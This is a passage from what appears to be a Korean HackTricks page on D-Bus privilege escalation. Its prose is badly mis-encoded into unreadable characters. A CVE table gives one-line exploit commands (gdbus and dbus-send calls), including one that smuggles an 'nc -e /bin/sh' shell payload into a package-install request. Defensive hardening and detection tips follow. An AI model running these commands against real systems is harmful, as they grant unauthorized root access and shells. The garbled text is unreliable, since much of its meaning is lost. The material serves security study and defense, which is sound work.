ΈμΆν©λλ€. | gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml" |
| 2025 | CVE-2025-23222 | Deepin dde-api-proxy β€ 1.0.18 | 루νΈλ‘ μ€νλλ νλ‘μκ° νΈμΆμ UID/Polkit 컨ν μ€νΈλ₯Ό μ λ¬νμ§ μκ³ λ κ±°μ λ²μ€ μ΄λ¦μ λ°±μλ μλΉμ€λ‘ μ λ¬νλ―λ‘ λͺ¨λ μ λ¬λ μμ²μ΄ UID 0μΌλ‘ μ²λ¦¬λ©λλ€. | gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1 |
| 2025 | CVE-2025-3931 | Red Hat Insights yggdrasil β€ 0.4.6 | κ³΅κ° Dispatch λ©μλμ ACLμ΄ λΆμ‘±νμ¬ β 곡격μκ° ν¨ν€μ§ κ΄λ¦¬μ μμ
μμκ² μμμ RPMμ μ€μΉνλλ‘ μ§μν μ μμ΅λλ€. | dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}' |
μ£Όλͺ©ν ν¨ν΄:
- μλΉμ€κ° μμ€ν λ²μ€μμ 루νΈλ‘ μ€νλ©λλ€.
- PolicyKit κ²μ¬κ° μμ(λλ νλ‘μλ‘ μ°νλ¨).
- λ©μλκ° κΆκ·Ήμ μΌλ‘
system()/ν¨ν€μ§ μ€μΉ/μ₯μΉ μ¬κ΅¬μ±μΌλ‘ μ΄μ΄μ Έ β μ½λ μ€ν.
dbusmap --enable-probes λλ μλ busctl callμ μ¬μ©νμ¬ ν¨μΉκ° μ μ ν polkit_authority_check_authorization() λ‘μ§μ λ°±ν¬νΈνλμ§ νμΈν©λλ€.
κ°ν λ° νμ§ λΉ λ₯Έ μΉλ¦¬
- μΈκ³ μ°κΈ° κ°λ₯ λλ μ μ‘/μμ μ΄λ € μλ μ μ± μ κ²μν©λλ€:
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
- μνν λ©μλμ Polkitμ μꡬν©λλ€ β μ¬μ§μ΄ λ£¨νΈ νλ‘μλ μμ μ PID λμ νΈμΆμ PIDλ₯Ό
polkit_authority_check_authorization_sync()μ μ λ¬ν΄μΌ ν©λλ€. - μ₯κΈ° μ€ν λμ°λ―Έμμ κΆνμ λ¨μ΄λ¨λ¦½λλ€(λ²μ€μ μ°κ²°ν ν
sd_pid_get_owner_uid()λ₯Ό μ¬μ©νμ¬ λ€μμ€νμ΄μ€λ₯Ό μ ν). - μλΉμ€λ₯Ό μ κ±°ν μ μλ€λ©΄, μ μ΄λ λ²μλ₯Ό μ μ© μ λμ€ κ·Έλ£ΉμΌλ‘ μ ννκ³ XML μ μ± μμ μ κ·Όμ μ νν©λλ€.
- λΈλ£¨ν:
busctl capture --output=/var/log/dbus_$(date +%F).pcapλ‘ μμ€ν λ²μ€μ μ§μμ μΈ μΊ‘μ²λ₯Ό νμ±ννκ³ Wiresharkμ κ°μ Έμ μ΄μ νμ§λ₯Ό μνν©λλ€.
μ°Έκ³ λ¬Έν
-
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
-
https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html
-
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


